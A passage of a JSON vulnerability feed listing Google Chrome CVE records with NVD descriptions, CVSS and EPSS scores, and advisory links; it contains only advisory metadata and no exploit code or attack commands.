score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113100&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113100, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113099","cveId":"CVE-2026-113099","aliases":[],"kind":"vulnerability","title":"Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a...","summary":"Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Omnibox in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.717Z","updatedAt":"2026-10-23T18:17:14.700Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113099","asOf":"2026-10-23T18:17:14.700Z"},"epss":{"probability":0.00424,"percentile":0.36409,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113099&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113099","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113099","type":"primary","publishedAt":"2026-10-20T22:19:01.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113099&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113099, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113097","cveId":"CVE-2026-113097","aliases":[],"kind":"vulnerability","title":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in FileSystem in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.483Z","updatedAt":"2026-10-21T17:29:31.533Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113097","asOf":"2026-10-21T17:29:31.533Z"},"epss":{"probability":0.00417,"percentile":0.35721,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113097&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113097","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113097","type":"primary","publishedAt":"2026-10-20T22:19:01.483Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113097&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113097, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113096","cveId":"CVE-2026-113096","aliases":[],"kind":"vulnerability","title":"Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Text in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.367Z","updatedAt":"2026-10-23T18:17:27.417Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113096","asOf":"2026-10-23T18:17:27.417Z"},"epss":{"probability":0.00443,"percentile":0.38249,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113096&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113096","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113096","type":"primary","publishedAt":"2026-10-20T22:19:01.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113096&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113096, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113095","cveId":"CVE-2026-113095","aliases":[],"kind":"vulnerability","title":"Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Out of bounds read in Focus in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.263Z","updatedAt":"2026-10-21T17:31:54.473Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113095","asOf":"2026-10-21T17:31:54.473Z"},"epss":{"probability":0.00417,"percentile":0.35712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113095&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113095","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113095","type":"primary","publishedAt":"2026-10-20T22:19:01.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113095&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113095, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113094","cveId":"CVE-2026-113094","aliases":[],"kind":"vulnerability","title":"Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in API in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.153Z","updatedAt":"2026-10-21T17:32:15.383Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113094","asOf":"2026-10-21T17:32:15.383Z"},"epss":{"probability":0.00417,"percentile":0.35712,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113094&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113094","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113094","type":"primary","publishedAt":"2026-10-20T22:19:01.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113094&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113094, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113093","cveId":"CVE-2026-113093","aliases":[],"kind":"vulnerability","title":"Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Memory corruption in DisplayLocking in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:01.047Z","updatedAt":"2026-10-21T17:36:54.763Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113093","asOf":"2026-10-21T17:36:54.763Z"},"epss":{"probability":0.00417,"percentile":0.35716,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113093&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113093","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113093","type":"primary","publishedAt":"2026-10-20T22:19:01.047Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113093&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113093, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113092","cveId":"CVE-2026-113092","aliases":[],"kind":"vulnerability","title":"Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Passwords in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.933Z","updatedAt":"2026-10-23T18:18:11.770Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113092","asOf":"2026-10-23T18:18:11.770Z"},"epss":{"probability":0.00424,"percentile":0.3641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113092&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113092","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113092","type":"primary","publishedAt":"2026-10-20T22:19:00.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113092&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113092, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113091","cveId":"CVE-2026-113091","aliases":[],"kind":"vulnerability","title":"Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML...","summary":"Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in PerformanceAPIs in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.827Z","updatedAt":"2026-10-23T18:18:25.553Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113091","asOf":"2026-10-23T18:18:25.553Z"},"epss":{"probability":0.00443,"percentile":0.38247,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113091&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113091","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113091","type":"primary","publishedAt":"2026-10-20T22:19:00.827Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113091&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113091, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113090","cveId":"CVE-2026-113090","aliases":[],"kind":"vulnerability","title":"Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in Interstitials in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.713Z","updatedAt":"2026-10-21T17:37:49.300Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113090","asOf":"2026-10-21T17:37:49.300Z"},"epss":{"probability":0.0037,"percentile":0.30631,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113090&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113090","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113090","type":"primary","publishedAt":"2026-10-20T22:19:00.713Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113090&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113090, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113088","cveId":"CVE-2026-113088","aliases":[],"kind":"vulnerability","title":"Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in Mobile in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.490Z","updatedAt":"2026-10-23T18:18:38.917Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","Android","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113088","asOf":"2026-10-23T18:18:38.917Z"},"epss":{"probability":0.00452,"percentile":0.39024,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113088&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113088","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113088","type":"primary","publishedAt":"2026-10-20T22:19:00.490Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113088&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113088, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113087","cveId":"CVE-2026-113087","aliases":[],"kind":"vulnerability","title":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in Actor in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:19:00.377Z","updatedAt":"2026-10-22T15:34:11.973Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google 